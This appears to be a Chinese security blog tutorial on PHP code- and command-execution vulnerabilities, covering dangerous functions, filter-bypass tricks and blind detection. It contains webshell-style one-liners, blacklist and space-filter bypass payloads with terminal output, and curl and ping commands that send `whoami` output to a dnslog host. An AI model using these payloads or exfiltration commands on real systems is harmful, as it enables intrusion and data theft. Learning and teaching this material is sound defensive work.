本文最后更新于:星期六, 五月 23日 2020, 9:15 晚上
命令执行&代码执行漏洞学习
代码执行漏洞
代码执行漏洞是由于web应用过滤不严谨,导致用户可以通过请求将代码注入到web应用中进行执行。php中有一些函数可以将参数当作代码来执行,例如assert()、call_user_func()等。当开发者使用了这些函数时,但没有对参数进行严格限制,导致了用户可以控制这些函数的参数,执行任意代码,这就是代码执行漏洞。
常见危险函数
php代码执行相关的函数
eval()
mixed eval(string $code)
$code是需要被执行的字符串,这个字符串必须以
;
结尾。同时代码不能包含PHP tags,例如:”<?php echo ‘1’ ?>”这样的字符串是不行的。eval()不是一个函数,它是一个语言构造器,所以不可以被可变函数调用。
assert()
bool assert(mixed $assertion [, string $description])
assert()函数是PHP中用来判断一个表达式是否成立的函数,返回值是true or false 。
如果传入的assertion是字符串的话,那它会被assert()当作php代码来执行。
assert()函数传入的php代码不需要
;
来作为结尾preg_replace()
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
preg_replace()函数用来执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分,然后用replacement进行替换。
当$pattern参数中存在/e修饰符时,$replacement会被当作php代码来执行。
PHP5.5.0版本起,/e修饰符已经被弃用了,使用preg_replace_callback()代替,如果传入/e修饰符,会产生一个E_DEPRECATED错误,但是$replacement还是会被当作代码执行。
PHP7.0版本起,会产生E_WARNING错误,同时/e修饰符无法生效。
call_user_func()
mixed call_user_func(callable $callback[, mixed $parameter[, mixed $..]])
第一个参数callback时 被调用的回调函数,其余参数是回调函数的参数。
array_map
用法:
array array_map(callable $callback, array $array1[, array $...])
array_map为数组的每个元素应用回调函数。callback函数形参的数量要和传给array_map()数组数量一致。
call_user_func_array
mixed call_user_func_array ( callable $callback , array $param_arr )
第一个参数是回调函数,第二个参数是回调函数的参数数组
create_function
create_function用于创建一个匿名函数,它内部实现用到了eval。
用法:
create_function ( string $args , string $code ) : string
第一个参数args是后面定义函数的参数,第二个参数$code是函数代码
PHP动态函数
因为PHP特性的原因,PHP的函数名可以由字符串来进行拼接
例如:
<?php
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a(phpinfo());
?>
或者:
$_GET['a']($_POST['b']);
利用这样的写法可以进行各种变形,通常被当作web后门使用
Curly Syntax
PHP中的Curly Syntax也能导致代码执行,它将执行花括号间的代码,并且将结果替换回去。
demo:
<?php
$test = "phpinfo";
${"test"}();
?>
命令执行漏洞
命令执行漏洞是指可以执行系统或者应用命令(cmd命令或者bash命令)的漏洞,主要是由于web应用使用了一些能执行命令的函数,但是对它们的参数过滤不严谨导致。
常见危险函数
system
system(string $command[, int &$return_var]): string
system函数会执行command参数所指定的命令,并且输出执行结果。
exec
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
exec()会执行command指定的命令
shell_exec()
shell_exec ( string $cmd ) : string
shell_exec()会通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
执行操作符
就是通过shell_exec()实现的。
passthru
passthru ( string $command [, int &$return_var ] ) : void
与exec()函数类似,执行外部程序并且显示原始输出
pcntl_exec
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用到,需要额外安装。
$path是可执行程序的路径,$args是传递给$path程序的参数。
例如:
pcntl_exec("/bin/bash",array("whoami"));
popen
popen ( string $command , string $mode ) : resource
popen()函数打开一个指向进程的管道,该进程由派生给定的command命令执行产生
例如:
popen("whoami >> test.php","r");
proc_open
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource
与popen()类似,执行一个命令,并且打开用来输入输出的文件指针,提供了比popen()更加强大的控制程序执行的能力。
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
这个 函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外,使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
可选参数callback如果被指定,那么当输出缓冲区被送出或者清洗时,或者请求结束之际,该函数将会被调用。
当该函数调用时,输出缓冲区的内容会被当作参数去执行,并返回一个新的输出缓冲区作为结果,并且送到浏览器中去。
例子:
<?php $cmd='system'; ob_start($cmd); echo "$_GET['a']"; ob_end_flush(); ?>
常见绕过姿势
命令操作符
cmd1 | cmd2 (|管道操作符)
管道操作符会将cmd1的结果输出给cmd2
cmd1 & cmd2 (&和号操作符)
&会让命令在后台运行
cmd1 ; cmd2 (; 分号操作符)
执行多条命令
cmd1 && cmd2 (&&与操作符)
只有cmd1执行成功后才会去执行cmd2
cmd1 || cmd2 (|| 或操作符)
cmd1执行失败才会执行cmd2
空格过滤绕过
字符串拼接
IFS(内部域分隔)是SHELL内置变量,是一个用于分隔的字符列表,默认值是空白(空格、tab、换行)
用法:
root@DESKTOP-10M601S:/home# cat${IFS}flag flag{just_simple_flag} root@DESKTOP-10M601S:/home# cat$IFS'flag' flag{just_simple_flag} root@DESKTOP-10M601S:/home# cat$IFS"flag" flag{just_simple_flag} root@DESKTOP-10M601S:/home# cat$IFS$1flag flag{just_simple_flag}
使用{}
例如:
root@DESKTOP-10M601S:/home# {cat,flag} flag{just_simple_flag}
使用tab
例如:
?id=cat%09/etc/passwd
使用重定向符
在读取文件时可以使用重定向符来替代空格
例如:
root@DESKTOP-10M601S:/home# cat<>flag flag{just_simple_flag} root@DESKTOP-10M601S:/home# cat<flag flag{just_simple_flag}
黑名单关键字绕过
字符串拼接
a=c;b=at;c=fl;d=ag;$a$b ${c}${d} root@DESKTOP-10M601S:/home# a=c;b=at;c=fl;d=ag;$a$b ${c}${d} flag{just_simple_flag}
利用环境变量
linux下有一些环境变量,可以通过这些分割这些变量来拼接出想要的字符串
root@DESKTOP-10M601S:/home# echo ${SHELLOPTS} braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor root@DESKTOP-10M601S:/home# echo ${SHELLOPTS:3:1} c root@DESKTOP-10M601S:/home# echo ${SHELLOPTS:2:1} a root@DESKTOP-10M601S:/home# ${SHELLOPTS:3:1}at${IFS}flag flag{just_simple_flag}
利用空变量
root@DESKTOP-10M601S:/home# cat fl${x}ag flag{just_simple_flag}
利用linux通配符?*
root@DESKTOP-10M601S:/home# /bin/ca? fl?? flag{just_simple_flag}
利用反斜杠
\反斜杠在bash中被解释为转义字符,用于去除单个字符的特殊意义。它保留了跟随在之后的字符的字面值(除了换行符)。
root@DESKTOP-10M601S:/home# ca\t f\lag flag{just_simple_flag}
利用bash64编码
root@DESKTOP-10M601S:/home# echo t | base64 dAo= root@DESKTOP-10M601S:/home# ca$(echo "dAo=" | base64 -d) flag flag{just_simple_flag} root@DESKTOP-10M601S:/home# echo flag | base64 ZmxhZwo= root@DESKTOP-10M601S:/home# cat $(echo "ZmxhZwo=" |base64 -d) flag{just_simple_flag}
无回显情况
命令执行可能会存在没有回显的情况。这时要判断命令是执行,有三种方法。
延时
通过sleep命令来进行延时
例子:
<?php shell_exec($_GET['a']); ?>
访问:
http://localhost/demo.php?a=sleep 3
HTTP请求
首先要有一台公网可通信的机子,目标通过向这个机子发起http请求,当该机子收到http请求时,说明命令执行成功。
如果没有一台公网机子的话,可以去ceye注册一个账号。
注册了以后他会分配一个3级域名给你,通过向这个域名发起http请求可以将命令执行的数据带出
例子:
root@DESKTOP-10M601S:/home# curl http://vlut7q.ceye.io/`whoami` {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
一般使用http请求带出的数据最好经过base64编码一下。
root@DESKTOP-10M601S:/home# curl http://vlut7q.ceye.io/`whoami|base64`
使用DNS通道带出
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。
这里用的同样是ceye ,通过ping命令来发起dns请求
root@DESKTOP-10M601S:/home# ping `whoami`.vlut7q.ceye.io
代码执行和命令执行漏洞防御
- 对相应的函数设置参数的白名单,结合正则表达式来进行白名单限制
- 对参数进行严格过滤
- 最简单的方法就是不允许命令执行
REFERENCE
- https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
- https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
- https://ctf-wiki.github.io/ctf-wiki/web/php/php-zh/#_12
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!